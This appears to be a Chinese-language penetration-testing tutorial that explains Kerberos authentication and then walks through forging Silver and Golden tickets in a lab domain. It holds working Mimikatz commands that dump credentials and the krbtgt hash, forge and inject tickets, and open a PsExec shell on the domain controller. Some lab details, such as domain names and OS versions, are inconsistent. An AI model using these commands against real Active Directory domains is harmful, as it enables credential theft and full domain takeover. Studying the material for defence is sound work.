Bootstrap

内网渗透:三、Kerberos协议及票据(黄金和白银)伪造

  • 一、Kerberos协议

kerberos(Secure network authentication system)中文叫网络安全认证系统

kerberos在进行认证过程中并不会传输用户的密码,而是通过传输tickets(票据)进行认证登陆到LDAP server。Kerberos协议主要用于计算机网络的身份鉴别,其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的凭证(ticket-granting-ticket)访问多个服务,即SSO(Single Sign On)。由于在每个Client和Service之间建立了共享秘钥,使得该协议具有相当的安全性。
Kerberos协议的前提条件
        如下图所示,Client与KDC(密钥分发中心),KDC(密钥分发中心)与Service在协议工作前已经有了各自的共享密钥,并且由于协议中的消息无法穿透防火墙,这些条件就限制了Kerberos协议往往用于一个组织的内部, 使其应用场景不同于X.509 PKI。

 

 

Kerberos 协议分为两个部分:

1 . Client 向 KDC 发送自己的身份信息, KDC 从 Ticket Granting Service (网络票据授予服务)得到 TGT票据(ticket-granting-ticket) , 并用协议开始前 Client 与 KDC 之间的密钥将 TGT 加密回复给 Client 。此时只有真正的Client 才能利用它与 KDC 之间的密钥将加密后的 TGT 解密,从而获得 TGT 。(此过程避免了Client 直接向 KDC 发送密码,以求通过验证的不安全方式)
2. Client 利用之前获得的 TGT 向 KDC 请求其他 Service 的 Ticket ,从而通过其他 Service 的身份鉴别。Kerberos 协议的重点在于第二部分,简介如下:

1. Client将之前获得TGT(身份验证时获取的凭证)和要请求的服务信息(服务名等)发送给KDC(密钥分发中心),KDC中的Ticket Granting Service(票证授予服务)将为Client和Service之间生成一个Session Key(这个key可看作Client和KDC之间的)用于Service对Client的身份鉴别。然后KDC将这个Session Key和用户名,用户地址(IP),服务名,有效期,时间戳一起包装成一个Ticket(票据)(这些信息最终用于Service对Client的身份鉴别)发送给Service, 不过Kerberos协议并没有直接将Ticket发送给Service,而是通过Client转发给Service.所以有了第二步。

2. 此时KDC将刚才的Ticket转发给Client。由于这个Ticket是要给Service的,不能让Client看到,所以KDC用协议开始前KDC与Service之间的密钥将Ticket加密后再发送给Client。同时为了让Client和Service之间共享那个秘密(KDC在第一步为它们创建的Session Key), KDC用Client与它之间的密钥将Session Key加密随加密的Ticket一起返回给Client。

3. 为了完成Ticket的传递,Client将刚才收到的Ticket转发到Service.由于Client不知道KDC与Service之间的密钥,所以它无法算改Ticket中的信息。同时Client将收到的Session Key解密出来,然后将自己的用户名,用户地址(IP)打包成Authenticator用Session Key(KDC和Client的)加密也发送给Service。

4. Service 收到Ticket后利用它与KDC之间的密钥将Ticket中的信息解密出来,从而获得Session Key(KDC和Client的)和用户名,用户地址(IP),服务名,有效期。然后再用Session Key将Authenticator解密从而获得用户名,用户地址(IP)将其与之前Ticket中解密出来的用户名,用户地址(IP)做比较从而验证Client的身份。

5. 如果Service有返回结果,将其返回给Client。

总结

概括起来说Kerberos协议主要解决二件事

第一个问题:如何证明你本人是XXX用户的问题   由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责

  •  二、白银票据伪造

        针对kerberos协议需要解决的第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。攻击者提出了一种思路,伪造TGS票据进行攻击,所以出现了另一种针对kerberos认证的攻击手法-伪造TGS ticket白银票据。Silver Tickets(白银票据)就是伪造的TGS ticket,TGS ticket中包含了伪造的PAC(微软为了访问控制而引进的一个扩展PAC),用来让服务器获取相应的用户UID等信息,向KDC确认用户是否有权限访问某个服务。由于白银票据是伪造的TGS票据,所以与域控制器没有步骤1、2、3、4的通信,直接进入到认证的第五步把TGS票据当作AP_REQ的一部分被发送到提供服务的服务器去访问服务。

制作白银票据  (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)
制作白银票据的条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH
4.伪造的用户名,可以是任意用户名,一般伪造administrator
5.需要访问的服务
第一步:
管理员权限运行
mimikatzprivilege::debug #提升权限
sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

第二步:
清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据

第三步:
伪造白银票据并导入
kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

第四步:
访问域控的共享目录
dir \\win08\c$
远程登陆,执行命令
PsExec.exe \\win08 cmd.exe
whoami   #查看权限
  • 三、白银票据伪造操作步骤:

实验环境:

  • Windows server 2008 作为域控制器,域为 dc.com
  • Windows 10 作为 dc域下的一台设备

在域控制器上操作:

通过 mimikatz 输入命令来获取Network Server下服务账户哈希值:sekurlsa::logonPasswords
也可以通过wce、gethashes等方式获取。

若出现错误,执行此命令后再获取 HASH值:privilege::debug

此时得到SID:

SID               : S-1-5-21-888938168-1995589727-2054984832-500
Username : Administrator
NTLM     : 73292305e32730af1b5b94022b2b2aaa

在 dc域下的设备(Windows 10)上操作

得到服务账号的 HASH 之后使用mimikatz中的 kerberos::golden功能生成白银票据TGS ticket。

参数说明:

/domain:当前域名称
/sid:SID 值,域的SID
/target:目标主机
/rc4:目标主机的 HASH值
/server:需要获取权限的服务
/user:伪造的用户名
/ptt:表示的是Pass The Ticket 攻击,是把生成的票据导入内存,也可以使用 /ticket 导出之后再使用 kerberos::ptt 导入。

这里执行:

kerberos::golden /domain:test.com /sid:S-1-5-21-593020204-2933201490-533286667 /target:计算机名称.test.com /rc4:68d728ba8b578294832fb6247c912f94 /service:cifs /user:administrator /ptt

 获取权限

在 dc域下的设备(Windows 10)上操作:

清空本地票据缓存,导入伪造的票据(如果用的/ptt参数就跳过这一步,只需要清理本地缓存)
查看本地保存的票据:kerberos::list
清理本地票据缓存:kerberos::purge
导入伪造的白银票据:kerberos::ptt silver.kiribi (步骤2使用了 /ptt ,所以此步忽略)
查看tgt票据(只能看到存在的黄金票据):kerberos::tgt
票据20分钟内有效,过期之后可以再次导入

 

 利用伪造的白银票据

在 dc域下的设备(Windows 10)上操作:

1.访问域控的共享目录

 2.远程登录,执行命令

  •  四、黄金票据伪造

        针对Kerberos协议需要解决的第一个问题:如何证明你本人是XXX用户的问题。攻击者提出了一种思路,伪造身份证明的TGT票据进行攻击,所以出现了一种针对Kerberos认证的攻击手法-伪造TGT黄金票据。

        Golden Ticket(黄金票据)是通过伪造的TGT(Ticket Granting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的TGS,可以说能够伪造黄金票据既有了域内的最高权限。
      高权限的TGT:包含PAC,PAC包含Client的sid,Client所在的组,伪造域管理员账号你就有了域管理员权限
      ticket传递攻击,通过传递Kerberos的ticket,登陆机器,简称PTT

伪造黄金票据
域控域名:dc.com  
由于黄金票据是伪造的TGT,所以与域控制器没有AS-REQ或AS-REP(步骤1和2)通信,直接进入认证的第三步当作TGS-REQ的一部分被发送到域控制器以获得服务票据(TGS)。

  • 五、黄金票据伪造操作步骤制作

实验环境:

  • Windows server 2008 作为域控制器,域为 dc.com
  • Windows 10 作为 dc域下的一台设备

黄金票据条件

1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

实验步骤

1. 获取域控制器的 krbtgt 哈希值

在域控制器上操作:

通过 mimikatz 输入命令获取 ktbtgt 的哈希值:lsadump::dcsync /domain:dc.com /user:krbtgt
也可以通过wce、gethashes等方式获取。

这里我在域控上上传不了文件,再次借用他人的图片

 

 

2. 伪造票据(低权限域用户在客户端上伪造)
在 dc域下的设备(Windows 10)上操作:

得到 KRBTGT HASH 之后使用 mimikatz 中的 kerberos::golden 功能生成金票 golden.kiribi,即为伪造成功的TGT。
参数说明:

/admin:伪造的用户名
/domain:域名称
/sid:SID 值,域的SID
/krbtgt:krbtgt 的 NTLM-HASH 值
/ticket:生成的票据名称
生成金票命令:kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-593020204-2933201490-533286667 /krbtgt:8894a0f0182bff68e84bd7ba767ac8ed /ticket:golden.kiribi
 

3. 获取权限

在 yuming域下的设备(Windows 7)上操作:

清空本地票据缓存,导入伪造的票据
查看本地保存的票据,观察Client name:kerberos::list
清理本地票据缓存:kerberos::purge
导入伪造的黄金票据:kerberos::ptt golden.kiribi
查看本地保存的票据,观察Client name:kerberos::list
票据20分钟内有效,过期之后可以再次导入
在这里插入图片描述

 

4. 利用伪造的黄金票据
在 yuming域下的设备(Windows 10)上操作:

直接利用psexec.exe远程登录和执行命令
Whoami显示当前用户为 dc域的administrator用户
PsExec.exe \域控计算机名 cmd.exe

 


 

;